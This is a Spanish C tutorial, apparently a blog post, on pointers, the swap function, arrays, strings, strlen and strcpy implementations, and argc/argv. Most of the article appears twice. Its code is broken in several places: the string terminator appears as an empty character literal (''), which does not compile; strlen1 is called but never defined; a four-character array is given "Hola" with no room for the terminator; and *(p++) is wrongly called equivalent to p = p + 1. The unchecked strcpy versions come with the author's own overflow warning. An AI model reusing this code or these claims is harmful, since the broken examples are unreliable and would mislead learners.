printf("p apunta a: %d, y su valor es: %d ", p, *p);
printf("Valor de numero: %d , y de p: %d ", numero, *p);

}


Al ejecutar ocurre lo siguiente:

C:>puntero
Paso 1:
p apunta a: 2293616, y su valor es: 666
En que posicion de memoria esta x: 2293616
Valor de numero: 31337 , y de p: 2293616

Paso 2:
p apunta a: 2293620, y su valor es: 31337
En que posicion de memoria esta numero: 2293616
Valor de numero: 31337 , y de p: 31337
Paso 3:
p apunta a: 2293620, y su valor es: 1457
Valor de numero: 1457 , y de p: 1457
C:>


Este mecanismo para acceder a un valor o a otra variable tan
característico del lenguaje C nos será de utilidad en
muchas ocasiones aunque
también arrastran mala fama de complicados. No hay que
complicarse la vida, los punteros son para lo que son, para referenciar
a otras variables.
Un error frecuente puede ser este:

int *p = 564;

No podemos asignar un valor a p directamente, porque al principio p no
será nada. Pero entonces, ¿para que queremos punteros
teniedo variables normales?
Esta claro que una de sus utilidades está en el paso de
parámetros a funciones. El ejemplo clásico es el de la
función swap (=intercmbio), una función que intercambia
los valores de dos variables entre si. Su implementación
sería así:

/**
* swap.c
* Implementa dos versiónes de la función swap, una para intercambiar enteros
* y la otra para intercambiar arrays
* Compilacion: gcc -o swap swap.c
* curso de C - instituto cuatrovientos
*/

#include <stdio.h>


void swap(int *px, int *py);


main ()
{
int valor1 = 666;
int valor2 = -34;

printf("Antes: valor1:%d y valor2: %d ", valor1, valor2);
/* Atención, los parametros deben ser las direcciones */
swap(&valor1, &valor2);
printf("Despues: valor1:%d y valor2: %d ", valor1, valor2);

}

/* Implementación de SWAP */
void swap (int *px, int *py)
{
int tmp;

tmp = *px;
*px = *py;
*py = tmp;
}


Hay que fijarse en varios detalles:

  • Esta función tiene que pasar los parámetros por
    referencia: en lugar de pasar valores debe pasar las direcciones de
    memoria. Por tanto se usan punteros.
  • Los parámetros que hemos usado son valor1 y valor2, son
    enteros. Como hay que pasarlos por referencia usamos el símbolo
    &, con lo que la llamada queda así: swap(&valor1,
    &valor2)
  • ¿Qué ocurriría si implementáramos la
    función swap sin punteros? Al terminar la función, los
    valores x,y no se habrían intercambiado

Compila el programa y prueba la función swap.

Arrays

Los arrays o arreglos estan muy vinculados a los punteros. Un array es
una colección de variables de un mismo tipo.
En lenguaje C podemos declarar un array de forma muy fácil, por
ejemplo, un array de 10 número enteros:

int numeros[10];

También podemos inicializar el array al declararlo:

int numeros[10] =
{4,3,6,0,-4,6,3,11,1,4};


Gráficamente el array sería algo así, un cojunto
de bloques consecutivos de variables del mismo tipo:
array

Para acceder a cada uno de los elementos usamos la variable del array
con un indice concreto, pero cuidado! el indice de los arrays siempre
empieza en 0!!! por tanto el array numeros tendrá indices del 0
al 9, y por ejemplo numeros[2] apunta al valor 6.

Podemos definir un array de cualquier cosa, pero siempre hay que
establecerle un tamaño concreto, ya sea de forma explicita o con
una inicilización.

float valores[3] = {0.0, 6.0,
4.5};

char vocales[5] = {'a', 'e',
'i', 'o', 'u'};

int cifras[] = {3,4,5}; /*
Aunque no se especifique tamaño, el compilador lo deduce */

int v[2]; /* Lo
inicializamos más tarde */


v[0] = 34;
v[1] = 666;


Podemos acceder a cualquier elemento del array usando el índice
correspondiente, por ejemplo:

int valor;
valor = numeros[0];
printf("Este es el tercer
elemento del array de numeros: %d ", numeros[2]);


Podemos recorrer el array utilizando la estructura for:

#include <stdio.h>

main ()
{
int numeros[10] = {4,3,6,0,-4,6,3,11,1,4};
int i;

for (i = 0; i < 10; i++)
{
printf("Valor del elemento %d: %d ", i, numeros[i]);
}
}


Si definimos un puntero tipo int, podremos acceder a un array de tipo
int. sin ningún problema. Supongamos este escenario:

int numeros[10] =
{4,3,6,0,-4,6,3,11,1,4};

int *p;
p = &numeros[0];

Se traduciría en lo siguiente:
array
Por tanto el valor de pint sería 4. Pero mucha atención
ahora. ¿Qué ocurre si incrementamos el valor de p?

p = p + 1;
o su equivalente:
*(p++);

En ese caso lo que estamos incrementando en la posición de
memoria a la que apunta pint, no el valor al que apunta.
Por tanto lo que pasaría es esto:
array

¿Curioso no? esa forma de acceder a arrays se usa muy a menudo
al tratar con arrays de caracteres, o dicho de otra forma
al trabajar con cadenas, o dicho de otra manera al trabajar con
strings, o dicho de otra manera al trabajar con palabras.


Cadenas


Una cadena o string, no es sino un array de caracteres, con la
particularidad de que se puede declarar así:
char saludo[4] = "Hola";
char despedida[] = "Adios,
hasta más ver";

char adios[] = "No nos veremos
mas ";


Pero hay que tener en cuenta una cosa muy importante. Al inicializar
una cadena, al final de la misma se añade un caracter especial
que
marca el final del la cadena: ''
Gracias a ese caracter se facilita el trabajo con cadenas, empezando
por el cálculo de su longitud.

Atención, hay que tener mucho cuidado con esto:
char frase[] = "Vamonos ya";
char *otra = "Vamos que nos vamos";

Por que NO son lo mismo, frase[] es un array y otra no es más
que un puntero. Mientras que el contenido de frase se puede modificar, los cambios en la cadena a la que apunta otra pueden
provocar resultados inesperados.


De todas formas, frase[] y *otra son compatibles a la hora de pasarse
como parámetros de funciones; y además, los arrays de
caracteres o cadenas al pasarse como parámetro se pasan por referencia. Por
tanto si se modifica una cadena dentro de una función los cambios permanecerán al volver.

Esta sería una posible implementación de la
función strlen, disponible ya en la librería standar.
Dada una cadena, devuelve su longitud:


#include <stdio.h>

main ()
{
char ejemplo1[] = "Vamos a ver";
char *ejemplo2 = "Vamos a ver";

printf("Longitudes: %d y %d ", strlen1(ejemplo1), strlen1(ejemplo2));
printf("Longitudes: %d y %d ", strlen2(ejemplo1), strlen2(ejemplo2));
printf("Longitudes: %d y %d ", strlen2(""), strlen2("sdd"));
}

int strlen(char *cadena)
{
int i = 0;

/* Mientras no sea el final */
while ( cadena [i] != '')
{
i++;
}

return i;
}


Podriamos hacer un bucle más elegante, sin ninguna
operación dentro. Cuidado! no hay que olvidar el ";", y es muy
importante incrementar
usando i++, es decir, primero tomamos leemos el valor, y luego se
incrementa.

int strlen2(char *cadena)
{
int i = 0;

/* Mientras no sea el final */
while ( cadena [i++] != '')
;

return (i-1);
}


Otra forma interesante de conocer las distintas formas de recorrer una
cadena son estas implementaciones de la controvertida función
strcpy. Esta función
copia una cadena en otra caracter a caracter y esta podría ser
una de sus implementaciones:

/* Copia el contenido de b en a */
int strcpy (char *a, char *b)
{
int i = 0;

/* Hacemos la asignación y a la vez comprobamos si ha llegado al final */
while ( (a[i] = b[i]) != '')
i++;
}


Otra implementación de strcpy podría ser accediendo a los
arrays como si fueran punteros, así los podemos incrementar de
forma directa!!!

/* Copia el contenido de b en a */
int strcpy (char *a, char *b)
{

/* Hacemos la asignación y a la vez comprobamos si ha llegado al final */
while ( (*a = *b) != '')
{
a++;
b++;
}
}


Y otra manera más abreviada aún...


/* Copia el contenido de b en a */
int strcpy (char *a, char *b)
{

/* Hacemos la asignación e incrementamos */
while ( (*a++ = *b++) != '' )
;
}


Incluso podríamos quitar la operación != ''. Prueba y
verás. De todas formas JAMAS utilices esta función en un
programa, si te das cuenta
estas funciones no se toman la molestia de comprobar las longitudes de
las cadenas que copias, y esto puede dar lugar a que revienten tu
código
y puedan ejecutar comandos arbitrarios allá donde funcione el
programa.

Arrays multidimensionales

tipo nombre[filas][columnas];

Los arrays se pueden complicar tanto como haga falta:
int matriz[3][5] = { {3,5,2,4,2} , {0,3,6,2,3} , {2,4,6,3,2} };

Pero ten cuidado, si vas a pasar un array de dos dimensiones como
parámetro de una función, al declarar la función
es obligatorio especificar el tamáno concreto de columnas.


Argumentos de linea de comandos

Cuando ejecutas un programa puedes pasarle argumento o
parámetros desde la linea de comandos, o desde msdos, o desde el
bash de linux.
Para recoger esos valores puedes usar unos parámetros que se
indican en la función principal, la función main:

main (int argc, char *argv[])
{
}

  • argc = es un variable que contiene el número de
    parámetros que se han pasado
  • argv[] = es un array de cadenas que contiene los argumentos en
    si, donde argv[0] es el nombre del programa


Con esta función puedes comprobar el funcionamiento de este
mecanismo:

#include <stdio.h>

main (int argc, char *argv[])
{
int i;

printf("Me has pasado %d argumentos ", argc);
printf("Y el primero es %s ", argv[0]);

/* Vamos a exigir que se pasen al menos 3 argumentos */
if (argc < 4)
{
printf("Error!, debes pasarme 3 argumentos!! ");
return;
}

for (i = 0; i < argc; i++)
printf("Argumento: %d = %s ", i, argv[i]);

}


Un ejemplo de ejecución podría ser:

C:>args primero 666 tercero
Me has pasado 4 argumentos
El nombre del programa es args
Argumento: 0 = args
Argumento: 1 = primero
Argumento: 2 = 666
Argumento: 3 = tercero

C:>



Opcionalmente puedes meter otro argumento, *envp[], para variables de
entorno.

]]>


Un puntero es una variable que en un lugar de contener un valor
contiene la dirección de una variable. Se pueden crear punteros
a todos los tipos de variables y la
sintaxis de su declaración es casí como la de las
variables normales, salvo que se añade el símbolo *.
Veamos una variable int normal y un puntero llamado p:

int numero;
int *p;

numero = 31337;
p = 666;

Si representamos gráficamente estas variables tipo int
tendríamos algo así:
Puntero

Es decir, así como la variable número es un entero que
contiene un valor concreto (31337), la variable p lo que contiene es un
dirección
de memoria donde reside un valor entero: 666. ¿Podemos hacer
esto?
p = numero;

¡No! pese a que las dos manejan tipos int, son variables
incompatibles: numero es un número entero y p un puntero. Para
asignar el valor de
numero a p debemos hacer lo siguiente:

p = &numero;

Con el símbolo lo que hacemos es asignar la dirección de
memoria de la variable numero, y eso sí es compatible. Pero...
¿qué es lo que ocurre realmente?
¿Se hace una copia de ese valor? No! Con la asignación p
= &numero; estamos haciendo lo siguiente:

puntero

¿Y qué ocurre ahora? Las dos variables hacer referencia a
la misma posición de la memoria, por tanto si hacemos:

*p = 1457;

Ocurrirá que:
puntero

El valor de la variable numero también cambia!
Las posibles operaciones con punteros se pueden resumir en este
pequeño código:

int
numero; /* numero es un entero */

int cifra = 43; /*
cifra es un entero */


numero = 536;

int *p; /* p
no es más que un apuntador a un entero*/


p =
&cifra; /* ahora p apunta al
entero cifra, por tanto p apunta al valor 43 */

numero = *p; /* ahora
numero vale lo que apunta p (a cifra), por tanto numero es 43 */

*p =
3; /*
ahora cifra vale 3 */
++*p;
/* ahora cifra vale 4 */
numero = *p + 5; /* ahora numero vale lo que apunta p
más 5, 9 */
(*p)++;
/* ahora cifra vale 5 */


¿Todavía no te
cuadra? Edita, compila y ejecuta este código, y lo
comprobarás:

#include <stdio.h>

main ()
{
int numero, x;
int *p;

numero = 31337;
p = &x;
*p = 666;

printf("Paso 1: ");
printf("p apunta a: %d, y su valor es: %d ", p, *p);
printf("En que posicion de memoria esta x: %d ", &x);
printf("Valor de numero: %d , y de p: %d ", numero, p);

/* Le asignamos el valor... */
p = &numero;

printf("Paso 2: ");
printf("p apunta a: %d, y su valor es: %d ", p, *p);
printf("En que posicion de memoria esta numero: %d ", &x);
printf("Valor de numero: %d , y de p: %d ", numero, *p);

/* Le cambiamos el valor a p ... */
*p = 1457;

printf("Paso 3: ");
printf("p apunta a: %d, y su valor es: %d ", p, *p);
printf("Valor de numero: %d , y de p: %d ", numero, *p);

}


Al ejecutar ocurre lo siguiente:

C:>puntero
Paso 1:
p apunta a: 2293616, y su valor es: 666
En que posicion de memoria esta x: 2293616
Valor de numero: 31337 , y de p: 2293616

Paso 2:
p apunta a: 2293620, y su valor es: 31337
En que posicion de memoria esta numero: 2293616
Valor de numero: 31337 , y de p: 31337
Paso 3:
p apunta a: 2293620, y su valor es: 1457
Valor de numero: 1457 , y de p: 1457
C:>


Este mecanismo para acceder a un valor o a otra variable tan
característico del lenguaje C nos será de utilidad en
muchas ocasiones aunque
también arrastran mala fama de complicados. No hay que
complicarse la vida, los punteros son para lo que son, para referenciar
a otras variables.
Un error frecuente puede ser este:

int *p = 564;

No podemos asignar un valor a p directamente, porque al principio p no
será nada. Pero entonces, ¿para que queremos punteros
teniedo variables normales?
Esta claro que una de sus utilidades está en el paso de
parámetros a funciones. El ejemplo clásico es el de la
función swap (=intercmbio), una función que intercambia
los valores de dos variables entre si. Su implementación
sería así:

/**
* swap.c
* Implementa dos versiónes de la función swap, una para intercambiar enteros
* y la otra para intercambiar arrays
* Compilacion: gcc -o swap swap.c
* curso de C - instituto cuatrovientos
*/

#include <stdio.h>


void swap(int *px, int *py);


main ()
{
int valor1 = 666;
int valor2 = -34;

printf("Antes: valor1:%d y valor2: %d ", valor1, valor2);
/* Atención, los parametros deben ser las direcciones */
swap(&valor1, &valor2);
printf("Despues: valor1:%d y valor2: %d ", valor1, valor2);

}

/* Implementación de SWAP */
void swap (int *px, int *py)
{
int tmp;

tmp = *px;
*px = *py;
*py = tmp;
}


Hay que fijarse en varios detalles:

  • Esta función tiene que pasar los parámetros por
    referencia: en lugar de pasar valores debe pasar las direcciones de
    memoria. Por tanto se usan punteros.
  • Los parámetros que hemos usado son valor1 y valor2, son
    enteros. Como hay que pasarlos por referencia usamos el símbolo
    &, con lo que la llamada queda así: swap(&valor1,
    &valor2)
  • ¿Qué ocurriría si implementáramos la
    función swap sin punteros? Al terminar la función, los
    valores x,y no se habrían intercambiado

Compila el programa y prueba la función swap.

Arrays

Los arrays o arreglos estan muy vinculados a los punteros. Un array es
una colección de variables de un mismo tipo.
En lenguaje C podemos declarar un array de forma muy fácil, por
ejemplo, un array de 10 número enteros:

int numeros[10];

También podemos inicializar el array al declararlo:

int numeros[10] =
{4,3,6,0,-4,6,3,11,1,4};


Gráficamente el array sería algo así, un cojunto
de bloques consecutivos de variables del mismo tipo:
array

Para acceder a cada uno de los elementos usamos la variable del array
con un indice concreto, pero cuidado! el indice de los arrays siempre
empieza en 0!!! por tanto el array numeros tendrá indices del 0
al 9, y por ejemplo numeros[2] apunta al valor 6.

Podemos definir un array de cualquier cosa, pero siempre hay que
establecerle un tamaño concreto, ya sea de forma explicita o con
una inicilización.

float valores[3] = {0.0, 6.0,
4.5};

char vocales[5] = {'a', 'e',
'i', 'o', 'u'};

int cifras[] = {3,4,5}; /*
Aunque no se especifique tamaño, el compilador lo deduce */

int v[2]; /* Lo
inicializamos más tarde */


v[0] = 34;
v[1] = 666;


Podemos acceder a cualquier elemento del array usando el índice
correspondiente, por ejemplo:

int valor;
valor = numeros[0];
printf("Este es el tercer
elemento del array de numeros: %d ", numeros[2]);


Podemos recorrer el array utilizando la estructura for:

#include <stdio.h>

main ()
{
int numeros[10] = {4,3,6,0,-4,6,3,11,1,4};
int i;

for (i = 0; i < 10; i++)
{
printf("Valor del elemento %d: %d ", i, numeros[i]);
}
}


Si definimos un puntero tipo int, podremos acceder a un array de tipo
int. sin ningún problema. Supongamos este escenario:

int numeros[10] =
{4,3,6,0,-4,6,3,11,1,4};

int *p;
p = &numeros[0];

Se traduciría en lo siguiente:
array
Por tanto el valor de pint sería 4. Pero mucha atención
ahora. ¿Qué ocurre si incrementamos el valor de p?

p = p + 1;
o su equivalente:
*(p++);

En ese caso lo que estamos incrementando en la posición de
memoria a la que apunta pint, no el valor al que apunta.
Por tanto lo que pasaría es esto:
array

¿Curioso no? esa forma de acceder a arrays se usa muy a menudo
al tratar con arrays de caracteres, o dicho de otra forma
al trabajar con cadenas, o dicho de otra manera al trabajar con
strings, o dicho de otra manera al trabajar con palabras.


Cadenas


Una cadena o string, no es sino un array de caracteres, con la
particularidad de que se puede declarar así:
char saludo[4] = "Hola";
char despedida[] = "Adios,
hasta más ver";

char adios[] = "No nos veremos
mas ";


Pero hay que tener en cuenta una cosa muy importante. Al inicializar
una cadena, al final de la misma se añade un caracter especial
que
marca el final del la cadena: ''
Gracias a ese caracter se facilita el trabajo con cadenas, empezando
por el cálculo de su longitud.

Atención, hay que tener mucho cuidado con esto:
char frase[] = "Vamonos ya";
char *otra = "Vamos que nos vamos";

Por que NO son lo mismo, frase[] es un array y otra no es más
que un puntero. Mientras que el contenido de frase se puede modificar, los cambios en la cadena a la que apunta otra pueden
provocar resultados inesperados.


De todas formas, frase[] y *otra son compatibles a la hora de pasarse
como parámetros de funciones; y además, los arrays de
caracteres o cadenas al pasarse como parámetro se pasan por referencia. Por
tanto si se modifica una cadena dentro de una función los cambios permanecerán al volver.

Esta sería una posible implementación de la
función strlen, disponible ya en la librería standar.
Dada una cadena, devuelve su longitud:


#include <stdio.h>

main ()
{
char ejemplo1[] = "Vamos a ver";
char *ejemplo2 = "Vamos a ver";

printf("Longitudes: %d y %d ", strlen1(ejemplo1), strlen1(ejemplo2));
printf("Longitudes: %d y %d ", strlen2(ejemplo1), strlen2(ejemplo2));
printf("Longitudes: %d y %d ", strlen2(""), strlen2("sdd"));
}

int strlen(char *cadena)
{
int i = 0;

/* Mientras no sea el final */
while ( cadena [i] != '')
{
i++;
}

return i;
}


Podriamos hacer un bucle más elegante, sin ninguna
operación dentro. Cuidado! no hay que olvidar el ";", y es muy
importante incrementar
usando i++, es decir, primero tomamos leemos el valor, y luego se
incrementa.

int strlen2(char *cadena)
{
int i = 0;

/* Mientras no sea el final */
while ( cadena [i++] != '')
;

return (i-1);
}


Otra forma interesante de conocer las distintas formas de recorrer una
cadena son estas implementaciones de la controvertida función
strcpy. Esta función
copia una cadena en otra caracter a caracter y esta podría ser
una de sus implementaciones:

/* Copia el contenido de b en a */
int strcpy (char *a, char *b)
{
int i = 0;

/* Hacemos la asignación y a la vez comprobamos si ha llegado al final */
while ( (a[i] = b[i]) != '')
i++;
}


Otra implementación de strcpy podría ser accediendo a los
arrays como si fueran punteros, así los podemos incrementar de
forma directa!!!

/* Copia el contenido de b en a */
int strcpy (char *a, char *b)
{

/* Hacemos la asignación y a la vez comprobamos si ha llegado al final */
while ( (*a = *b) != '')
{
a++;
b++;
}
}


Y otra manera más abreviada aún...


/* Copia el contenido de b en a */
int strcpy (char *a, char *b)
{

/* Hacemos la asignación e incrementamos */
while ( (*a++ = *b++) != '' )
;
}


Incluso podríamos quitar la operación != ''. Prueba y
verás. De todas formas JAMAS utilices esta función en un
programa, si te das cuenta
estas funciones no se toman la molestia de comprobar las longitudes de
las cadenas que copias, y esto puede dar lugar a que revienten tu
código
y puedan ejecutar comandos arbitrarios allá donde funcione el
programa.

Arrays multidimensionales

tipo nombre[filas][columnas];

Los arrays se pueden complicar tanto como haga falta:
int matriz[3][5] = { {3,5,2,4,2} , {0,3,6,2,3} , {2,4,6,3,2} };

Pero ten cuidado, si vas a pasar un array de dos dimensiones como
parámetro de una función, al declarar la función
es obligatorio especificar el tamáno concreto de columnas.


Argumentos de linea de comandos

Cuando ejecutas un programa puedes pasarle argumento o
parámetros desde la linea de comandos, o desde msdos, o desde el
bash de linux.
Para recoger esos valores puedes usar unos parámetros que se
indican en la función principal, la función main:

main (int argc, char *argv[])
{
}

  • argc = es un variable que contiene el número de
    parámetros que se han pasado
  • argv[] = es un array de cadenas que contiene los argumentos en
    si, donde argv[0] es el nombre del programa


Con esta función puedes comprobar el funcionamiento de este
mecanismo:

#include <stdio.h>

main (int argc, char *argv[])
{
int i;

printf("Me has pasado %d argumentos ", argc);
printf("Y el primero es %s ", argv[0]);

/* Vamos a exigir que se pasen al menos 3 argumentos */
if (argc < 4)
{
printf("Error!, debes pasarme 3 argumentos!! ");
return;
}

for (i = 0; i < argc; i++)
printf("Argumento: %d = %s ", i, argv[i]);

}


Un ejemplo de ejecución podría ser:

C:>args primero 666 tercero
Me has pasado 4 argumentos
El nombre del programa es args
Argumento: 0 = args
Argumento: 1 = primero
Argumento: 2 = 666
Argumento: 3 = tercero

C:>



Opcionalmente puedes meter otro argumento, *envp[], para variables de
entorno.

]]>
http://www.pello.info/blog/punteros-y-arrays-en-c